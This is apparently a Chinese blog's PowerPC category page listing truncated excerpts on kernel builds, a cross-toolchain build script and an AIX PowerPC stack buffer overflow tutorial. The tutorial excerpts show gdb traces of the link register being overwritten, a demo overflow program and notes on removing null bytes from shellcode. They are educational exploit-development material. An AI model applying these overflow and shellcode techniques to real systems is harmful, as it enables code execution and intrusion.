您正在查看 "Powerpc" 分类下的文章 2009-05-27 8:50
前面介绍了内核的编译。最后生成的内核镜象有两种zImage以及uImage。其中zImage下载到目标板中后,可以直接用uboot |
2009-03-09 16:12 随着 Linux 操作系统的广泛应用,特别是 Linux 在嵌入式领域的发展,越来越多的人开始投身到 Linux 内核级的开发中。面对日益庞大的 Linux 内核源代码,开发者在完成自己的内核代码后,都将面临着同样的问题,即如何将源代码融入到 Linux 内核中,增加相应的 Linux 配置选项,并最终被编译进 Linux 内核。这就需要了解 Linux 的内核配置系统。
随着 Linux 操作系统的广泛应用,特别是 Linux 在嵌入式领域的发展,越来越多的人开始投身到 Linux 内核级的开 |
2009-03-09 15:57 2008-12-29 20:27 This script must be executed as root in the directory where the sources (binutils-2.17.tar.bz2, gcc-4.1.1.tar.bz2 and newlib-1.14.0.tar.gz) have been extracted. ------------------------------------- #!/bin/bash
set -e
mkdir -p /usr/local/ppc mkdir -p build-ppc/binutils mkdir -p build-ppc/gcc mkdir -p build-ppc/newlib
cd build-ppc/binutils ../../binutils-2.17/configure \ --target=ppc-elf \ --prefix=/us |
2008-10-23 20:55
Gcc版本:
liubin@liubin-desktop:~/work/other$ ppc-elf-gcc -v
Using built-in specs.
Target: ppc-elf
Configured with: ../../gcc-4.1.1/configure --target=ppc-elf --prefix=/usr/local/ppc --enable-multilib --with-float=soft --enable-languages=c,c++ --with-newlib --with-headers=../../newlib-1.14.0/newlib/libc/includ |
2008-10-23 10:27 7 0x0 0
r8 0x60000000 1610612736
r9 0x60002449 1610622025
r10 0x0 0
r11 0x600026c8 1610622664
r12 0x100005ac 268436908
r13 0xdeadbeef -559038737
r14 0x2 2
r15 0x2ff22264 804397668
r16 0x2ff22270 804397680
r17 0x0 0
r18 0xdeadbeef -559038737
r19 0xdeadbeef -559038737
r20 0xdeadbeef -559038737
r21 0xdeadbeef -559038737
r22 0xdeadbeef -559038737
r23 0xdeadbeef -559038737
r24 0x |
2008-10-23 10:26 lr寄存器的内容已经改写成0x41424344,接着看程序流程:(gdb) ni
0x10000570 in main ()
1: x/i $pc 0x10000570 <main+36>: mr r3,r0
(gdb)
0x10000574 in main ()
1: x/i $pc 0x10000574 <main+40>: lwz r1,0(r1)
(gdb)
0x10000578 in main ()
1: x/i $pc 0x10000578 <main+44>: lwz r0,8(r1)
(gdb)
0x1000057c in main ()
1: x/i $pc 0x1000057c <main+48>: mtlr r0
(gdb)
0x10000580 in main ()
1: x/i $pc 0x10000580 < |
2008-10-23 10:25 回的时候就会跳到我们指定的地址执行;AIX PowerPC要覆盖到下一个栈帧保存lr的地址,当函数返回的时候也会跳到我们指定的地址执行。文字描述无法实际理解,自己动手一下才会真正领会,下面 用一个简单的程序走一遍流程:-bash-2.05b$ cat simple_overflow.c
/* simple_overflow.c
*
* Simple program to demonstrate buffer overflows
* on the PowerPC architecture.
*/
#include <stdio.h>
#include <string.h>
char largebuff[] =
"1234512345123451234 |
2008-10-23 10:25 svca 0
1000056c: 2f 62 69 6e cmpi 6,r2,26990
10000570: 2f 73 68 00 cmpi 6,r19,26624
... 可以看到有好几条指令的opcode包含了0,这对于strcpy等字符串操作函数导致的溢出会被截断,所以需要编码或者相应指令的替换。不过我们注意到 svca指令中间两个字节包含了0,幸好这两个字节是保留字段,并没有被使用,可以用非0字节代替。PowerPC空指令nop的opcode是 0x60000000,后面三个字节的0也是保留项,也可以用0x60606060来代替。lsd提供了一个可用的shellcode:/* shellcode.c
*
* ripped |
2008-10-23 10:24
一、 熟悉PowerPC体系及其精简指令集计算PowerPC体系结构是RISC(精简指令集计算),定义了 200 多条指令。PowerPC 之所以是 RISC,原因在于大部分指令在一个单一的周期内执行,而且是定长的32位指令,通常只执行一个单一的操作(比如将内存加载到寄存器,或者将寄存器数据存 储到内存)。差不多有12种指令格式,表现为5类主要的指令:1、分支(branch)指令
2、定点(fixed-point)指令
3、浮点(floating-point)指令
4、装载和存储指令
5、 处理器控制指令PowerPC的应用级寄存器分为三类
|
| | |